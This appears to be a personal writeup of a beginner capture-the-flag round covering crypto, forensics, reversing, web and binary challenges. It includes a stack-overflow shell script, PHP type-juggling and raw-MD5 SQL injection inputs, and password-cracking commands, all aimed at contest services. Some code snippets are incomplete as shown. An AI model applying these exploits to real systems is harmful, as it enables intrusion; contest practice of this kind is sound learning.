Skip to main content

iCTF Round 6 Writeup

27 min read
ctf ictf writeup

iCTF is a month-long competition where daily challenges are posted to Discord. Challenges are usually beginner-focused, and with new challenges in the morning (for me), I’ve found it to be a good warm-up to start off the day. This round had a large number of crypto challenges, which I found pretty interesting and a good driver to learn some new stuff along the way. Round 6 ended up with just under 1600 members in the server, and the community has been very welcoming and helpful!

If you are interested in joining, you can do so at

sanity check round 6

Welcome to round 6! Can you believe that it’s already a new year? Anyway, I made a new year’s resolution to make sure everybody is still sane after 2020. Good luck!


Flag in description.

a fine year

Last year has been tough for a lot of us. Congratulations on making it through. Have fun with the CTFs.


Plug into quipqiup with hints for the initial known prefix “ictf”.


I used a keyword cipher to encode this. I wonder if you can just guess the 4 letter keyword… Note: The flag is in flag format ICTF{YOUR_FLAG_HERE} in all caps.


Wrote script to iterate over 4 letter keys (length specified in hint). Looked for ICTF + English words.

import itertools
import string


with open("/usr/share/dict/words", "r") as f:
    words = set([l.upper().strip() for l in f.readlines()])

alphabet = string.ascii_uppercase
for key in itertools.product(alphabet, repeat=4):
    d = list(dict.fromkeys(key)) + [c for c in alphabet if c not in key]
    p = "".join(" " if c == " " else alphabet[d.index(c)] for c in ciphertext)
    if p.startswith("ICTF") and all(w in words for w in p.split(" ")[1:]):
        print(f"ICTF{{{'_'.join(p.split(' ')[1:])}}}", "".join(key))

Several possible keys give the right value for the flag, probably the intended one was “HOME”


The answer to this puzzle is right in front of you. Have a good look.


“wertyu” is “qwerty” shifted to the right one letter on your keyboard.

Web comments

I like commenting on websites, but this site went too fast… :(

Going to URL leads to a Rick roll(!)

curl -v shows redirects, looks like randomly-generated URLs which eventually time out.

curl -Lv shows eventually some Javascript is loaded which attempts a POST, and if response is good sets window.location to a new link.

Wrote script to parse these URLs out, GET request on the window.location URL reveals flag in head (turns out you don’t need to actually make the POST request):

import asyncio
import aiohttp
import re

URL = ""

async def run(loop):
    jar = aiohttp.CookieJar(unsafe=True)
    async with aiohttp.ClientSession(loop=loop, cookie_jar=jar) as session:
        async with session.get(URL, max_redirects=500) as resp:
            t = await resp.text()

        m ="window.location = \"(?P<url>[^\"]+)\";", t)
        window_loc_url = m.groups("url")[0]

        async with session.get(window_loc_url) as resp:
            t = await resp.text()

        m ="<flag> (?P<flag>ictf\{[^}]+\})</flag>", t)
        flag = m.groups("flag")[0]


loop = asyncio.get_event_loop()


A friend gave me this nested zip file and wants me to open it. Every password is the name of a Breaking Bad character followed by two underscores and then their nickname. He also named the zip files as md5 of the password used. (For example, the password for a file can be Walter White__Heisenberg and its name would be

By the way, do you know what an API is?

Problem description recommends using an API, quick Google finds

Downloaded as JSON for offline processing.

Wrote script to generate a dictionary of passwords -> hashes, and to extract each layer of nested zip until we got to the flag.

import hashlib
import json
import os
import shutil
import tempfile
import zipfile


with open("characters.json", "r") as f:
    characters = json.load(f)

passwords = {}
for c in characters:
    name = c["name"]
    nickname = c["nickname"]
    pw = f"{name}__{nickname}"
    h = hashlib.md5(pw.encode("utf-8")).hexdigest()
    passwords[h] = pw

with tempfile.TemporaryDirectory() as td:
    out_dir = os.path.join(td, "out")

    cur_file = FIRST_FILE
    while cur_file is not None:
        with zipfile.ZipFile(cur_file, "r") as zf:
            pw = passwords[os.path.splitext(os.path.basename(cur_file))[0]]
            zf.extractall(path=out_dir, pwd=pw.encode("utf-8"))

            new_file = os.path.join(out_dir, os.listdir(out_dir)[0])
            print(f"{cur_file} -> {new_file}")

            if os.path.splitext(new_file)[1] != ".zip":
                with open(new_file, "r") as f:

            if cur_file != FIRST_FILE:

            cur_file = os.path.join(td, os.path.basename(new_file))
            os.rename(new_file, cur_file)


Ballymote is an interesting place to visit! Note: The flag format is all caps, with no underscores.

Ballymote Challenge Input
Ballymote Challenge Input

Googled “Ballymote cipher”, first result is the Wikipedia page for Ogham. Used the Ogham alphabet guide on that page to decode the flag.


I thought I knew all the languages, but this one stumped me. Can you figure out what it is?


This code sample was not familiar to me, had to do some research to find out likely candidates. Looked at the esolang wiki for code which seemed similar to sample, and found Malbolge. Ran code in this online tool to get the flag:


Alice and Bob have become true best friends and use the same n for their RSA public keys.

A hacker managed to break into Alice’s computer and found a file containing Alice’s public and private key. Apparently, he also intercepted a message sent to Bob by Carol. Bob’s public key is known. Now can you decrypt the message.

From description, we know n is same for Alice and Bob, and we have e and d for Alice. We need to recover p and q, we can then use these parameters with Bob’s exponent to decrypt the message.

Found a script to do this for us, we get

p = 1735208369863010264706631950778249526979356648929552378814857459919378548804410806407820701930217716695395058127826211913
q = 1833539157421808480778033292593881158803841029012107030772955500495411603269442035138753701021017254147699266360904682001

Plugged these parameters into RsaCtfTool:

python3 \
-p 1735208369863010264706631950778249526979356648929552378814857459919378548804410806407820701930217716695395058127826211913 \
-q 1833539157421808480778033292593881158803841029012107030772955500495411603269442035138753701021017254147699266360904682001 \
-e 257 --uncipher 1700597825277060506621746159323136082855597875162419587755450044681116501663029183983547012940779267004808048822741633863285948559635720642133358649865143724722401157511757440942025581851763240729675077400828041650935840527496427143709375363


My friend took a cool picture of his favorite flag, but he accidently put it though his PNG Shuffle-Matic 3000™ and now it’s ruined!

This picture is very important to him. Can you help him recover it?

Mega thanks to Samwise.xlsx#8101 for devising and formulating this challenge

Used a PNG parser library to extract chunks individually. Wrote script to reorder chunks, needed to put IHDR first, IEND last, bKGD and pHYs before the IDAT(s).

from pngparser import PngParser, ChunkTypes, ImageData

PNG_HEADER = b"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a"


with open("out.png", "wb") as out:

    with PngParser("flag.png") as png:
        ihdr = png.get_by_type(ChunkTypes.IHDR)

        bkgd = png.get_by_type(ChunkTypes.bKGD)

        phys = png.get_by_type(ChunkTypes.pHYs)

        chunks = png.get_all()
        for chunk in chunks:
            if chunk.type in TO_SKIP:


        iend = png.get_by_type(ChunkTypes.IEND)

Used pngcheck at various steps to validate / see what needed reordering.

Chunk Shuffling Challenge Output
Chunk Shuffling Challenge Output

Interestingly, a text chunk contains base64-encoded hint, which I noticed a tad too late for it to help:

Answers to some questions you may have:
 1. Chunk lengths and CRCs were shuffled with their respective chunks.
 2. IDAT chunks were shuffled as one chunk (you won't have to rearrange them)
 3. There are a total of 9 different chunks that were shuffled

Katarina Rostova

”I only do these things for you Elizabeth… I am always honest” - Reddington.

file evidence.img gives us:

evidence.img: UDF filesystem data (version 1.5) 'YOU_WILL_SEE'

Mount image with sudo mount -o loop ./evidence.img /mnt

Inside is a zip file “”, it is password-protected.

Use fcrackzip -b -D -p rockyou.txt -u ./ to find password, password is “masha”

Extract zip, we see 2000 files created

Looking at the files, we see that most are identical except for 698 and 1014, and that 1014 is a wav file. Unsure why 698 is different, or what the significance is, seems to be only 1 byte.

Listening to wav file, we hear what sounds like dots and dashes.

look_for_the_stars_and_you_will_see (1014)

Upload to a Morse code decoder and we get:

AZ14F777D7A76B3613E853FAA45D1BF8B SPACE
6EF5FA162DA08580BF5D1F88520F7388 SPACE
D9A1E61AC024DF1EAD899725907DEC16 SPACE

These look like possible MD5 hashes, searching a few of them to verify gives us:

6ef5fa162da08580bf5d1f88520f7388    I_
acf2ec480e0bc08bb6be8d71e9a33d36    who_
dcb60e7b977649fc91031418ccec1a09    we_
32d258fd1790514a0d223fd6e475f021    are_

These leaves two that aren’t solved, one of which is malformed (33 bytes, starts with AZ).

Write small python script to iterate through words list, comparing expected hash to hash of word + "_". For malformed hash, check if hash ends with same 31 characters (assuming first character is malformed)

import hashlib


with open("/usr/share/dict/words", "r") as f:
    words = set(s.strip() for s in f.readlines())

d = {}
for word in words:
    word += "_"
    word_hash = hashlib.md5(word.encode("utf-8")).hexdigest().upper()

    # Check our malformed one explicitly
    if word_hash.endswith(HASHES[0][2:]):
        d[HASHES[0]] = word
    elif word_hash in HASHES:
        d[word_hash] = word

print(f"ictf{{{''.join([d[h] for h in HASHES])}}}")

We get:

814f777d7a76b3613e853faa45d1bf8b    sometimes_
d9a1e61ac024df1ead899725907dec16    wonder_

“AZ” in morse is .---.. vs 8 which is ---.. so this seems plausible.


You cheesed Xissors-Or-Rock last time, so here is a modified version.

I hope you solve it the proper way.

This one caused me quite a few issues, based on the description first thought was “just XOR the images together”, as this was the solution to the linked challenge. However, this did not seem to work, and I spent a good amount of time writing random Pillow scripts and squinting at noise trying to solve this. At some point a note was added that Pillow required certain install options to use the proper libraries, and without this presumably the JPEG decoder gave slightly different values than was expected for this challenge. Following the provided instructions and trying to XOR all the images together again gave me the flag.

from functools import reduce
from PIL import Image, ImageChops

abstract1 ="abstract1.jpg").convert("1")
abstract2 ="abstract2.jpg").convert("1")
abstract3 ="abstract3.jpg").convert("1")
mashed ="mashed_1.png").convert("1")

w, h = abstract1.size
out ="1", (w, h))
out = reduce(ImageChops.logical_xor, [abstract1, abstract2, abstract3, mashed])"out.png")
Revenge of XOR Challenge Output
Revenge of XOR Challenge Output

Denso’s Matrix

I was talking to Denso today, and he said he wanted me to solve a puzzle about a matrix. I didn’t think it would be made out of these! What do they mean???

Denso's Matrix Challenge Input
Denso's Matrix Challenge Input

Image appears to be a matrix of QR codes, we will use the zbar-py library to decode them. Library doesn’t seem to want to decode multiple offcut QR codes from the given image, so we will use Pillow to crop out individual codes for decoding. Needed to remove 45 pixels of padding around the border, leaving us with a 13x13 array of 70px by 70px QR codes. Decoding them, many contain the text “the matrixs speaks!“. One contains the flag.

import numpy
import zbar
from PIL import Image


img ="barcode.gif").convert("L")
w, h = img.size

cropped = img.crop((PADDING, PADDING, w-PADDING, h-PADDING))
for x in range(0, (w - 2 * PADDING) // QRCODE_SIZE):
    for y in range(0, (h - 2 * PADDING) // QRCODE_SIZE):
        l = QRCODE_SIZE * x
        t = QRCODE_SIZE * y
        r = QRCODE_SIZE * (x + 1)
        b = QRCODE_SIZE * (y + 1)

        q = cropped.crop((l, t, r, b))
        n = numpy.array(q)
        scanner = zbar.Scanner()
        results = scanner.scan(n)

        for result in results:

There most likely is a way to do this without writing a script or without the cropping step (seems like some on the Discord figured this out!), but the tools I tried did not like scanning multiple QR codes.


I am really close to finding out my surgeon friend’s password. I currently have a SHA256 hash and I am dead sure he used one of the long medical terms from here and salted it with surgeon. Help me recover the plaintext please.

Note: The flag is ictf{plaintext_you_got}


The name of the challenge here is a hint, we will use CeWL to generate a word list from the linked page with:

cewl --depth 0 > wordlist.txt

We then will feed the given hash into hashcat:

echo 86515c560fe63bb69f89661e9c6a9a0b5f9a79703af9ddf5eee6e27a117ea1e1:surgeon >
hashcat -a 0 -m 1410 wordlist.txt

We get:


Weird RSA

We leaked some info on this RSA ciphertext and public key. Please find the plaintext.

We are given some parameters for RSA plus an equation relating p and q, namely 2pq - p - q = x where x is a constant. Used z3 to solve for p and q:

from z3 import *

n = 1547532749135062292486085130767875864403008885483398052526653756998698632135441516152265655824113463643130432525036923176834238721070334188882907529161597554891315431262979238764139820202322814670292256194534640597963392873023393826916850669082826386288083883404718650050670352004894154773358593461963756498608621812866789059794919771716454742339839894176560462305107405625314452453017665396320722491945580587697173505179683480807547942427982090860574033710776228346127647245287495459315094509242250013582963939784240413229541141552295762635908020089889161637304737992299860699980333367137688948205477531863163977981

x = 3095065498270124584972170261535751728806017770966796105053307513997397264270883032304531311648226927286260865050073846353668477442140668377765815058323195109782630862525958477528279640404645629340584512389069281195926785746046787653833701338165652772576167766809437300101340704009788309546717186923927512997137952496816169765948139685822836097063403289182449622015529542199264851300191987325282472081224672786503551767285136236058540672771338701439810229349097875512244230038175531723462579029217362247436528246664741100548400978832570418290211012944934325090856894752676735512709061160275886820967083425454295069692

p, q = Ints("p q")

    p > 2,
    q > 2,
    p * q == n,
    2 * p * q - p - q == x,
[q = 34722350862463859688769141112887044445395715692296736314010676152649842874162942591568892462329939240611316384614461103782237477835444539824942387223101715295985778390440262149561787550113788417964567604945943422153203800188595176351984243121722456350218472052504246525032497689516396998877286753485165366973,
 p = 44568778054944493952930716497186343170880783478374566280674592898714210731680400875790080440336549148279478858459769621774317734249180940456395450849352865884025286061959197045605822439153349361764832027957796303757477504083425930629620784113121541833534109179418739362219107884483094076566584884786867519297]

Use RsaCtfTool to decrypt the ciphertext:

python \
    -p 44568778054944493952930716497186343170880783478374566280674592898714210731680400875790080440336549148279478858459769621774317734249180940456395450849352865884025286061959197045605822439153349361764832027957796303757477504083425930629620784113121541833534109179418739362219107884483094076566584884786867519297 \
    -q 34722350862463859688769141112887044445395715692296736314010676152649842874162942591568892462329939240611316384614461103782237477835444539824942387223101715295985778390440262149561787550113788417964567604945943422153203800188595176351984243121722456350218472052504246525032497689516396998877286753485165366973 \
    -e 65537 \
    --uncipher 1507974216290455919365589591436798636648443513387967150161622426093471341255913221853428808686449589736348624892947413414984556944545505987486467392347345929887379301742665951887389608548870924761117387553884243315000498771545890319480973119783317188361376379823771302216282578879837894943699438472039679027937674448760166653836242135783307333339704261695494664544321347405067855282162862741090866174340299716707324806110106449916492440623860871477549185332814808167267817116742423051035432446852910088746453206842433915725060946545830439511832902638347798494335219726183377396733268909346510822606012792064840797451

Flag is a hint as to the intended solution, but automation is good!


I heard that you can actually use a one-time pad twice. Is that correct?

Mega thanks to Samwise.xlsx#8101 for devising and formulating this challenge

We are given a file with a plaintext message and two ciphertexts XORed with the same key. Recovering the key value is trivial, XOR the known plaintext with its corresponding ciphertext. XOR the key with the second ciphertext to decode the first portion of the flag.

The second portion of the flag is the secret value used to calculate the key. The key is derived from a 8 byte IV and the secret. From part one we have the 16-byte value of the key. The trick to this part is recognizing that the padding scheme allows us to compute the secret from the key value.

Simplifying, and representing values as hex with ? characters as unknown nibbles, we can see that:

a = gen_iv() = ?? ?? ?? ?? ?? ?? ?? ??

k1 = rpad(a)
k1 = ?? ?? ?? ?? ?? ?? ?? ?? ff ff ff ff ff ff ff ff

k2 = lpad(bxor(a, invert(secret)))
k2 = ff ff ff ff ff ff ff ff ?? ?? ?? ?? ?? ?? ?? ??

key = bxor(k1, k2)
key = invert(a) + invert(bxor(a, invert(secret)))

# XOR with 0xff is equivalent to invert()
a = invert(key[:8])
k2 = invert(key[8:])
secret = invert(bxor(a, k2))

Wrote a script to compute both parts based off of the given code:


def bxor(b1: bytes, b2: bytes) -> bytes:
    key = bytes([a ^ b for a, b in zip(b1, b2)])
    return key

def invert(b: bytes) -> bytes:
    return bytes([~x & 0xFF for x in b])

message1 = b"I am creative with my plaintexts"

ctx1 = bytes.fromhex("28732169e171c93897eca4e904ab55b6")
ctx2 = bytes.fromhex("08303462ba6a8b2fa9a9bec00fbb5680")

# Part 1
key = bxor(ctx1, message1)
ptxt = bxor(ctx2, key)

# Part 2
a = invert(key)[:BLOCK_SIZE]
k2 = invert(key)[BLOCK_SIZE:]
secret = invert(bxor(a, k2))

print((ptxt + secret).decode("utf-8"))

Computing secret from the key gives us the second portion of the flag. Concatenating both parts, we get:

Weird RSA 2

Uggh, polynomials…

Use z3 again to solve for p and q.

from z3 import *

n = 1227173678549949481481779866763773386187676840178483511553906049903330196981504886366294050093311011086664701234281866417764837848162645000249537380395979992437992259294790825818148318151924517511659338434866935790375158108998482756277690583781840889677345463523584003134410504180030356076085421418063496016608562482653076102159866832051187558432563622650124735137698397654121502954359877239374327846807555131779396503508683063781694094360624781072150085466080816172259064267050716628664621838769974685957341228098571770893475329733419863097013686853960591990460762389595000741855739472070530091965323319645724187857
x = 2267901176829050997429527376207596570482304361304439696030245886507034572470411385071427874779635586054001458549876019754020879201764536580169968998939724117286359380163800233991495863413529575722262456772880142150111735415182931401421708780530866047388580348120906412809280308073259759076080922922213287407957121014364591542164644116254749459899139411079712681856164107867467514566287926787426904741372401675142015650690280642136112126217528730588114420023319366486467796503794850264015415039370114753098499977654251174371500102934858665665014862453008297939299508166630358964901597527659195164800650828224457848907768983512486607728444944019017962620290064164752690745815483988378419887390312051265456320609411767027205107077124226829093581097885782123983496935579299947397134743086000725497455788880038653423812960997656067127864375027902595063845926183589747528022126214627404381470411235454056835016005729082670158425280186501341799610019525890309639860154946159830401724970062000372374340308565141477471049874049679696806395568208897507861311259225085968738980719732916678926922837788014096626745574271176974487139136115371329319178523209389422750235958237186849433075836893722215861142644336580814862075339120839770335496715627918769523833470061580263029729627811125707025192024984654641339213270180505874637903263918673488914865186940960500601784777817904607606918458412629266859447902838104205029651590539522272208302021184878689735986889851546956706787348506729016572795047120364884713135946065378105229304919892602526415205275156247921005012699740310842846589489391018664738826742715473597353190365734308014705164752095328888411263820218666235297865999625109957313384939794903039882977057414692006228460273303450833871299223979815176725443060109341622942261007474139592582430728701381343616235046790929916020042946148306990593297140807353808396435197201184320424540540876169065689605122585453741765346558519419526746267613802364500530610748989401781136966893400718729173335386976459711768469235503870502133140455524729951135712915951310919680072348020093209937840735157875691411721524216435531790476791210177170979624830675549452540319365387278515224344520535074658761176477148227673499164113375997896907923591223935804857551312382209483695659432651840831296906854188213415492956880420584026144154889514920505188953582140643715746425110580231448730877967855569559101023626963719605153773878208072912967343034569259383590717759431411892666913771624649

p, q = Ints("p q")

    p > 2,
    q > 2,
    p * q == n,
    p ** 4 * q ** 2 * (q - 1) ** 2 + p ** 2 * q ** 4 - 2 * p ** 3 * q ** 3 * (q - 1) == x,
[p = 17161405647079471702026474261101582104083545272183829522902357932890220329192844666293366774181426941726000531223414660023767985750868770449410561629535188002836263540835930894609916666790911807530753382524950305213175379943708449149325481371419679953224468665719124582012725970065193342843223126667168464907,
 q = 71507760132620017549308365995371992952937611895715429694999878114318090294059324581911825079991171843464475680798518116102455853717134013551414783017471519713713547698648147563142050439206356170628434840997313766007379556014005375709107535571074472404223081131364851838486035596346586222880898802636127736851]

Use RsaCtfTool again to decrypt ciphertext:

python \
    -p 17161405647079471702026474261101582104083545272183829522902357932890220329192844666293366774181426941726000531223414660023767985750868770449410561629535188002836263540835930894609916666790911807530753382524950305213175379943708449149325481371419679953224468665719124582012725970065193342843223126667168464907 \
    -q 71507760132620017549308365995371992952937611895715429694999878114318090294059324581911825079991171843464475680798518116102455853717134013551414783017471519713713547698648147563142050439206356170628434840997313766007379556014005375709107535571074472404223081131364851838486035596346586222880898802636127736851 \
    -e 65537 \
    --uncipher 886307356132225534225669501252669518370960197125891229224634935752449645036920189818280636888373386077722802602631663071287677160036776078863484485914584512245207252833007857895496631042763290138216136079591476092522643285304625895296001899814094788365968999078205199260380689855550410895776216936564460518519299807379454864353651309372733769298403852305845270673020228793187811960794686768143622667100319594413956357768725600551533146328072825408309274197145267207935182221305586153488038911345857243817618302352468584989054675719602300483904895599192811625022064548570758651279897286697655334546845910931035950788

Zyphen’s Chamber

Welcome to my room… my murder room. This challenge should be easy, but frustrating, however, if you fail, there will be consequences. Your inevitable suffering. However, there is one way out. Solve this puzzle and maybe you will find a way. Good luck >:)… P.S. Don’t mind the voices you hear

This challenge definitely was the hardest in the month in my opinion! It took me a very long time to solve, mostly stuck on the RSA step… Learned a lot of (irrelevant, it turns out) information about attacks on RSA because of this, which will hopefully be useful in the future

Anyway, looking at code, we can see that the only things we really care about are torture, prepare and splatter functions when it comes to decoding the list of numbers printed by the script. We know there is an Easter egg (which I did not find 1), so perhaps the remainder is related to this?

prepare is reversible (there may be a bug where the wrong variable was used as a loop index, but on the other hand this may be intentional, who knows). After this, the plaintext is multiplied by a random-seeming value to generate the ciphertext.

Collected some ciphertext samples and reversed the prepare step, then found the GCD of each value across all samples to decode the first part.

import math
import os
import sys

from pwn import *

CHAL_IP = ""
CHAL_PORT = 3000

def unprepare(meat):
    fresh = meat.copy()
    fresh[-1] -= MY_LUCKY_NUMBER
    for i in range(len(fresh)):
        fresh[i] = fresh[i] ^ MY_LUCKY_NUMBER

    return fresh

def fetch_ctxt():
    ctxts = []
    for i in range(10):
        conn = remote(CHAL_IP, CHAL_PORT)

        print(conn.recvuntilS("Ciphertext: "))
        ctxt = [int(c) for c in conn.recvlineS()[1:-2].split(", ")]
        ctxt = unprepare(ctxt)

        with open(f"ctxt/ctxt_{i}", "w") as f:
            for c in ctxt:
                print(c, file=f)

ctxts = []
for path in os.listdir("ctxt"):
    with open(os.path.join("ctxt", path)) as f:
        ctxts.append([int(s.strip()) for s in f.readlines()])

s = ""
for ns in zip(*ctxts):
    r = ns[0]
    for i in range(1, len(ns)):
        r = math.gcd(r, ns[i])

    s += chr(r)


From this we get a base64-encoded string, decoding it gives a binary string, decoding it gives a ASCII hexadecimal string, decoding it gives a URL… Downloaded flag.txt from this URL, it has several parts:

========================RSA MESSAGE START========================
========================RSA MESSAGE END========================

  • “RSA message” is a base64-encoded 512-byte blob
  • n is actually an asn.1/PEM encoded rsa public key
  • I’m not sure what e is… ?

After a lot of trial and error (and over-thinking), determined that we can decrypt the message by simple c ^ e mod n where c is the (base64 decoded) message, and e and n are the parameters from the public key (the decoded value of n in flag.txt)

import base64
from Crypto.PublicKey import RSA

with open("flag.txt") as f:
    c = int.from_bytes(base64.b64decode(f.readline()), "big")
    key = RSA.importKey(base64.b64decode(f.readline()[2:]))

m = pow(c, key.e, key.n)
m = m.to_bytes(m.bit_length() + 7 // 8, "big")

We get:


Although the decoded string looks like the final flag, we are not done yet! We need to send this string as a key to the service from part 1, and then correctly XOR-decode the values sent back to us in order to retrieve the actual flag. There is a timeout involved, so best to script this part as well.

from pwn import *

# From part 2
MASTER_KEY = "ictf\{th1s_1s_th3_k3y...D0_Y0U_H34R_TH3M?\}"

conn = remote("", 3000)
print(conn.recvuntilS("What is the key? "))

print(conn.recvuntilS("QUICK WHAT IS THE FLAG\n"))
x = int(conn.recvline()[4:-1], 16)
z = int(conn.recvline()[5:], 16)

def n2s(n):
    s = hex(n)[2:].rstrip("L")
    if len(s) % 2 != 0:
        s = "0" + s

    return binascii.unhexlify(s)

conn.sendline(n2s(z ^ x))

Finally, we retrieve the flag:


Several of you raised support tickets for and solved php-comparison in December, with a lot of positive feedback. Here is another challenge where you need to exploit type juggling.


include "flag.php";

$p1 = $_GET['param1'];
$p2 = $_GET['param2'];

if(!isset($p1) || !isset($p2)) {

if($p1 !== $p2 && $p1 == md5($p1) && $p2 == md5($p2)) {


Similar to the first PHP comparison problem (from round 5), this challenge would like you to exploit a PHP type-juggling vulnerability. We know from before that PHP strings starting with 0e and containing all digits after the prefix will be interpreted as integers 0 by the interpreter. Here the conditions are that we need two string values which both themselves and their MD5 hashes meet the above condition. Found one hash which meets the criteria in this list of magic hashes values, wrote a script to find another.

import hashlib
import string
import sys

prefix = "0e"

i = 0
while True:
    i += 1
    for p in range(10):
        s = prefix + ("0" * p) + str(i)
        h = hashlib.md5(s.encode("utf-8")).hexdigest()
        if h.startswith(prefix) and all(c in string.digits for c in h[2:]):
            print(h, s)

We get as a final URL


A little birdie told me java is a repetitive language…

From looking at the source, realized that each output number corresponds to one input character, so we can find one character at a time by brute force. Modified given Java source to iterate over possible inputs and find the flag one character at a time.

public class solve {
    public static int[] encode(String flag) {
        int ret_index = 0;
        int[] ret = new int[flag.length()];

        char[] flagVars = new char[flag.length()];
        for (int i = 0; i < flag.length(); i++) {
            flagVars[i] = flag.charAt(i);
        char[] flagVarsBirds = new char[flagVars.length];
        int[] coolFinal = new int[flagVars.length];
        int count = 0;
        for (char c: flagVars) {
            int a = c;
            int ind = new String(flagVars).indexOf(c);
            if (c != flagVars.length - 1) {
                for (int i = 0; i < flag.length(); i++) {
                    char d = (char) ((ind ^ 15) + (2 * a));
                    flagVarsBirds[i] = d;
            } else {
                System.out.println("that shouldn't have happened D:");
            int fire = flagVarsBirds[0];
            boolean ILikeRev = false;
            for (int i = 0; i < flagVarsBirds.length; i++) {
                if (fire == flagVarsBirds[i] && !ILikeRev) {
                    ILikeRev = true;
                } else if (fire != flagVarsBirds[i]) {
                    ret[ret_index++] = fire;
                    fire = flagVarsBirds[i];
                    ILikeRev = false;
            coolFinal[count] = fire;
        for (int i = 0; i < flagVarsBirds.length; i++) {
            ret[ret_index++] = coolFinal[i];

        return ret;

    public static void main(String[] args) {
        char[] input = "ictf{AAAAAAAAAAAA}".toCharArray();
        int[] expected = {225, 212, 245, 216, 257, 222, 139, 244, 139, 196, 225, 76, 196, 212, 97, 97, 247, 280, };

        for (int i = 5; i < expected.length - 1; i++) {
            for (char c = 32; c < 127; c++) {
                input[i] = c;
                int[] actual = encode(new String(input));

                if (actual[i] == expected[i]) {

        System.out.println(new String(input));


Yet another web challenge with PHP type-juggling vulnerability.


include "flag.php";

$p1 = $_GET['param1'];
$p2 = $_GET['param2'];

if(!isset($p1) || !isset($p2)) {

if($p1 !== $p2 && hash(md5, $p1 . $salt) == hash(md5, $p2 . $salt)) {


Another PHP type-juggling bug, here we use[]=a&param2[]=b, this makes both parameters arrays with different contents, which gets past the initial equality check. When passed to the hash function, these are both converted to the string “Array”, which when concatenated with the same (unknown) salt produces the same hash.


Look carefully at the code and find out the PHP vulnerability (it is not type juggling this time). Have fun!


require_once "config.php";

$pass = $_GET['param'];

if(!isset($pass)) {

$sql = "SELECT username, password FROM users WHERE password = '".md5($pass, true)."'";

$result = mysqli_query($link, $sql);

$info = mysqli_fetch_all($result, MYSQLI_ASSOC);




Astute users on the Discord found this early, URL enumeration ftw

Here we are looking for a value with a MD5 hash which (as raw bytes, not a hex digest) can be interpreted as a SQL injection in the given query. Wrote a script to brute force obvious answer, but in the end found via OSINT this value

129581926211651571912466741651878684928 -> 06da5430449f8f6f23dfc1276f722738 ("\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8")

The key bit being the 'or' in the raw bytes of the hash.


This challenge has two parts: reverse engineering, and then cryptography. Have fun.

Hint: most variable’s names have no significance. The ones that do stand out.

It looks like this was intended to be a challenge using Håstad’s broadcast attack, but apparently the solve script was accidentally uploaded instead of the actual challenge (oops!)

Running, we get:

You can’t do that!

Wait this isn’t reversing…

Looking at the linked page we have a long link (it goes to a Rick roll), the text of the link looks interesting.

Base64-decoding the link we get a CyberChef URL.

Looking at the page source, we get another link which is a QR code, this appears to be the output of the linked CyberChef pipeline with the flag text.

You Can't Do That Challenge Input
You Can't Do That Challenge Input

Extracting the text from the QR code using ZXing, we get:


This appears to be more base64-encoded data. Plugged this text into CyberChef and reversed the steps (use From Base64 to decode the data, change the Add loop to just subtract decimal 20, remove some of the extraneous steps) to get the flag.

Basics of PWN

Find the secret, find the message, it is as easy as that. Anyway, welcome to PWN!

Looking at the binary in Ghidra, we need to overflow a stack buffer to set a local variable to a specific value in order to get a shell. Wrote quick pwntools script to achieve this.

from pwn import *
from pwnlib.util.packing import *

p = remote("", 4000)


p.sendline(b"A" * 24 + p32(0xca55e77e))

Once we have a shell, cat flag.txt gets us the flag:

Build-a-Cipher 3

Lets try mixing some things up…


This challenge contains a python script which performs a series of reversible steps on a string to produce the expected output provided above from the flag as an initial input. Take the script source and quick-and-dirty reorder it such that it reverses the steps in the original.

EXPECTED = r"f`k\0\kmqd-^40ecokhetbx^\..\o`q_kp`z-!od\."

result = ""
for n in EXPECTED:
    n = ord(n)
    n -= 5
    n = chr(n)
    result += n

# Expected max len of each jar
d = len(result) // 7 + 1

# First jar only contains first char, skip calculating it
jars = [""] * 6
for n in range(1, 7):
    jars[n - 1] += result[(n - 1) * d + 1 : n * d + 1]

middlepart = result[0]
while any(jars):
    for n in range(6):
        if jars[n]:
            middlepart += jars[n][0]
            jars[n] = jars[n][1:]

inp = ""
for n in middlepart:
    n = ord(n)
    n += 8
    n = chr(n)
    inp += n



Ishida gave me this puzzle, reminded me of sudoku, but at the same time different. Said something about windows?

Windows Challenge Input
Windows Challenge Input

This puzzle is a Nonogram puzzle, plugged values into this solver and revealed the flag in the original version.

Shortly after, an easier version was posted, where the solution is the path portion of a link to the flag. Used the same solver and downloaded the linked text file, and received the same flag.

(Easier) Windows Challenge Input
(Easier) Windows Challenge Input


This challenge is pretty straightforward. Read my mind and answer those elementary questions.

Opened binary in Ghidra, looks like it asks for a series of 4 unsigned integers via scanf and checks their values. Apparently, this was supposed to be more complicated, but the expressions in the source were simplified by the compiler, making this fairly trivial given the final binary. Quick script in pwntools with the right strings gets the flag.

from pwn import *
from pwnlib.util.packing import *

p = remote("", 1337)




System Hardening 103

This again… (whoever spammed my scoreboard, I got my eyes on you)

Make sure you get your unique identifier at the “Get Unique ID” link before you use the image.

Note that unlike the previous challenges, no partial credit will be awarded for this challenge.

This challenge involves downloading a virtual machine image and performing hardening steps to satisfy a scoring script. The scenario indicates that the machine may have been previously compromised, and includes some forensics questions for discovering the initial vulnerability / steps the attacker took to persist on the system.

The challenge author has requested that we only discuss the forensics questions here, so the writeup will be limited to these. The VM image also becomes unavailable after the CTF ends, so no link is provided above.

Forensics Question 1

There is a secret message on the website run on this computer. What is it?

curl localhost gives us

Forensics Question 2

What user is the apache2 web server running as?

ps -ef | grep apache shows us the answer is

Forensics Question 3

Which PHP script allowed the attacker to gain root access to the machine? Include the full file path.

Looking at the PHP scripts in /var/www/html/ we see that has a trivial command injection vulnerability. This gives them root access as the www-data user has passwordless sudo.

Forensics Question 4

Where is the python backdoor that the attacker used to mantain persistence? Include the full file path.

ps -ef | grep py shows a suspicious script running at

General approach to hardening

The rest of the flags for this challenge were from addressing certain misconfigurations of the system, this was pretty much trial and error for me. There are likely some automated scripts which could have simplified this portion, but it’s hard to know what to run without more knowledge of the scoring criteria.


Timothy found this file on a usb he found in his house. Could you help him find the flag? Please do not attempt to crack the RSA, that is not the challenge.

We see that x is calculated as the sum of all ASCII values of characters inside the flag. We are given a value for 2^x, we can calculate the value of x by taking the base-2 logarithm of the given value via x.bit_length() - 1, doing so gets us 2938. We were then given a hint that the flag is one large English word, none of the words in /usr/share/dict/words seem to meet the criteria. Downloading a larger word list, we see that one word matches the given sum. Checking the result via the RSA portion at the bottom of the given script verifies our answer.


Your mission, should you choose to accept it, is to escape the pyjail and read the contents of flag. For your convenience, the flag is located in flag.txt in ctf directory.

